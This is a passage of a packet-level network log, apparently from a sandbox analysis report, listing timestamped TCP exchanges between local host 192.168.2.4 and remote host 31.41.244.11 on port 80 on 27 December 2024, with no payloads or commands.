Dec 27, 2024 08:46:30.745919943 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.745963097 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.746006966 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.746042013 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.746961117 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.747004032 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.747044086 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.747083902 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.748042107 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.748080969 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.748126984 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.748164892 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.749114037 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.749155045 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.749231100 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.749268055 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.750184059 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.750224113 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.750283003 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.750320911 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.751276016 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.751321077 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.751363993 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.751401901 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.752315044 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.752361059 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.752418041 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.752453089 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.753412962 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.753453970 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.753494978 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.753530025 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.754470110 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.754513979 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.754590034 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.754627943 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.755551100 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.755605936 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.755635977 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.755676985 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.756602049 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.756650925 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.756707907 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.756743908 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.757694960 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.757747889 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.757797956 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.757833958 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.758768082 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.758820057 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.758867979 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.758905888 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.759830952 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.759875059 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.759951115 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.759994030 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.760905981 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.760947943 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.760998964 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.761037111 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.761986971 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.762034893 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.762074947 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.762109995 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.763082981 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.763133049 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.763166904 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.763209105 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.764156103 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.764204025 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.764259100 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.764296055 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.765187979 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.765244007 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.765307903 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.765347958 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.766289949 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.766345024 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.766369104 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.766413927 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.767345905 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.767404079 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.767450094 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.767484903 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.768421888 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.768469095 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.768517971 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.768558979 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.769501925 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.769550085 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.769612074 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.769649982 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.770549059 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.770591974 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.770643950 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.770677090 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.771612883 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.771653891 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.771699905 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.771744013 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.772687912 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.772744894 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.772789955 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.772834063 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.773770094 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.773823977 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.773857117 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.773895979 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.774868011 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.774918079 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.774964094 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.775007010 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.775923967 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.775974035 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.775995970 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.776034117 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.776964903 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.777017117 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.777076960 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.777122974 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.778040886 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.778100967 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.778141975 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.778177977 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.779133081 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.779189110 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.779220104 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.779257059 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.780193090 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.780244112 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.780256033 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.780296087 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.781275034 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.781327963 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.781362057 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.781399012 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.782371044 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.782422066 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.782449961 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.782485962 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.783433914 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.783488035 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.783524036 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.783562899 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.784497023 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.784555912 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.784596920 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.784636021 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.785543919 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.785602093 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.785649061 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.785690069 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.786639929 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.786679983 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.786693096 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.786715031 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.787705898 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.787811995 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.787832975 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.787877083 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.788786888 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.788846016 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.788883924 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.788921118 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.789844990 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.789887905 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.789937019 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.789974928 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.790930986 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.790972948 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.791050911 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.791089058 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.792001963 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.792045116 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.792094946 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.792131901 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.793061018 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.793107986 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.793159962 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.793201923 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.794151068 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.794195890 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.794234037 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.794274092 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.795155048 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.795207024 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.940609932 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.940664053 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.940737009 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.940861940 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.940872908 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.940939903 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.940949917 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.940994978 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.941963911 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.942018032 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.942054033 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.942101955 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.943047047 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.943098068 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.943192005 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.943238020 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.944091082 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.944155931 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.944195032 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.944235086 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.945199013 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.945250034 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.945286036 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.945331097 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.946242094 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.946290970 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.946336985 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.946382046 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.947330952 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.947410107 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.947423935 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.947477102 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.948399067 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.948472023 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.948503017 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.948573112 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.949465036 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.949512005 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.949562073 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.949601889 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.950541973 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.950591087 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.950633049 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.950671911 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.951617956 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.951661110 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.951776028 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.951816082 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.952687979 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.952733040 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.952821016 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.952864885 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.953717947 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.953764915 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.953886032 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.953924894 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.954855919 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.954905033 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.954945087 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.954986095 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.955916882 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.955974102 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.956028938 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.956065893 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.956985950 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.957026958 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.957053900 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.957075119 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.958050966 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.958095074 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.958143950 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.958183050 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.959130049 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.959176064 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.959223032 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.959260941 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.960216999 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.960264921 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.960304976 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.960341930 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.961253881 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.961303949 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.961349964 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.961385965 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.962332964 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.962382078 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.962425947 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.962474108 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.963416100 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.963471889 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.963511944 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.963553905 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.964498043 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.964551926 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.964586020 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.964622974 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.965540886 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.965594053 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.965653896 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.965694904 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.966643095 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.966691971 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.966744900 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.966782093 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.967704058 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.967751980 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.967775106 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.967813015 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.968781948 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.968833923 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.968878984 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.968911886 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.969835997 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.969877958 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.969954014 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.969991922 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.970987082 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.971029043 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.971082926 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.971118927 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.972003937 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.972043991 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.972105026 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.972142935 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.973061085 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.973103046 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.973141909 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.973180056 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.974159956 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.974206924 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.974245071 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.974282980 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.975208044 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.975302935 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.975330114 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.975411892 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.976317883 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.976367950 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.976397038 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.976438046 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.977416039 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.977462053 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.977490902 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.977528095 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.978449106 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.978547096 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.978552103 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.978590965 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.979490042 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.979540110 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.979608059 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.979649067 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.980556965 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.980613947 CET	49839	80	192.168.2.4	31.41.244.11
